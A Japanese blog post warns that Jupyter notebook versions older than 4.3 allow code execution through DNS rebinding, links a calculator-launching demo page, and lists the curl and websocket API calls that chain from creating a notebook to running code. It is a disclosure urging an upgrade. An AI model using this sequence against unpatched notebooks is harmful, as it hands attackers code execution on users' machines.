memo

思いついたこと、やってみたことをテキトウに残していく。

HEAD / archives / 2016-12 / 2016-12-27.rst

古い jupyter notebook (<4.3) は危ないので気をつけようという話

概要

古い jupyter notebook (バージョン 4.3 未満) は DNS rebinding attack に対して脆弱です。 そのため、ローカルで notebook 動作中に悪意あるウェブページを閲覧しただけで、任意コードの実行を許す恐れがあります。

バージョン 4.3 からデフォルトで有効になった token 認証によってこの攻撃は防げるので、さっさと最新版に上げときましょう。

デモ

http://nbdemo.u7fa9.org/

お手元で pip install "notebook<4.3" して、 jupyter-notebook を起動してから上記 URL にアクセスしてみてください。 待っているとそのうち電卓が起動すると思います。

(一応 notebook-4.2.3 に対して Ubuntu と OSX 上で、 firefox と chrome で動作を確認してます。)

説明

  • DNS rebinding attack によって、悪意あるウェブページ上で動作する javascript からローカルで動作する jupyter notebook に対して、任意の HTTP リクエストを送ることが出来ます。
  • 古い jupyter notebook はリクエストの認証や Host ヘッダの確認といった対策を行っていないので、このリクエストを普通に受け入れてしまいます。
  • jupyter notebook に任意のリクエストを送れるということは、要するに任意の python コードを実行できるということです。
  • バージョン 4.3 から token 認証がデフォルトで有効となりました。 攻撃者は token を知ることが出来ないため、 notebook へのリクエストを成功させることが出来ません。 よって、コード実行なども出来ません。
  • ということで、 jupyter notebook は最新にしておきましょう。

メモ

コード実行までに必要な notebook の API について。

  • 新しい .ipynb ファイルの作成

    $ curl -d '{"type":"notebook"}' http://localhost:8888/api/contents | jq .
    {
      "format": null,
      "name": "Untitled.ipynb",
      "last_modified": "2016-12-25T09:00:00.000000+00:00",
      "writable": true,
      "path": "Untitled.ipynb",
      "content": null,
      "created": "2016-12-25T09:00:00.000000+00:00",
      "type": "notebook",
      "mimetype": null
    }
    
  • どの kernel が利用できるのか調べる。

    $ curl http://localhost:8888/api/kernelspecs | jq .
    {
      "default": "python3",
      "kernelspecs": {
        "python3": {
          "name": "python3",
          "resources": {
            "logo-32x32": "/kernelspecs/python3/logo-32x32.png",
            "logo-64x64": "/kernelspecs/python3/logo-64x64.png"
          },
          "spec": {
            "language": "python",
            "argv": [
              "/venv/bin/python3.5",
              "-m",
              "ipykernel",
              "-f",
              "{connection_file}"
            ],
            "env": {},
            "display_name": "Python 3"
          }
        }
      }
    }
    
  • kernel の起動

    $ curl -d '{"notebook": {"path": "Untitled.ipynb"}, "kernel": {"id": null, "name": "python3"}}' http://localhost:8888/api/sessions | jq .
    {
      "kernel": {
        "name": "python3",
        "id": "4102da2b-bb4c-47f9-8660-cf5b84779d07"
      },
      "id": "92aa4c5c-d83d-4924-8bcc-80bb523f9f19",
      "notebook": {
        "path": "Untitled.ipynb"
      }
    }
    
  • kernel に接続

    ws://localhost:8888/api/kernels/<KERNEL-ID>/channels?session_id=<SESSIONID> に websocket で接続する。

    (<KERNEL-ID> のトコには上記で返ってきた kernel.id を入れる。)

    (<SESSIONID> はテキトウにランダム生成すればよさそう。)

  • コードの実行

    以下のような JSON 文字列を websocket に send する:

    {
      "header": {
        "msg_id": "<MESSAGEID>",
        "username": "username",
        "session": "<SESSIONID>",
        "msg_type": "execute_request",
        "version": "5.0"
      },
      "metadata": {},
      "content": {
        "code": "print('hello')",
        "silent": false,
        "store_history": true,
        "user_expressions": {},
        "allow_stdin": true,
        "stop_on_error": true
      },
      "buffers": [],
      "parent_header": {},
      "channel": "shell"
    }
    

    (<SESSIONID> には上記 <SESSIONID> と同じ値を渡しとけばよいっぽい。)

    (<MESSAGEID> は何でもよさそう。)

powered by blikit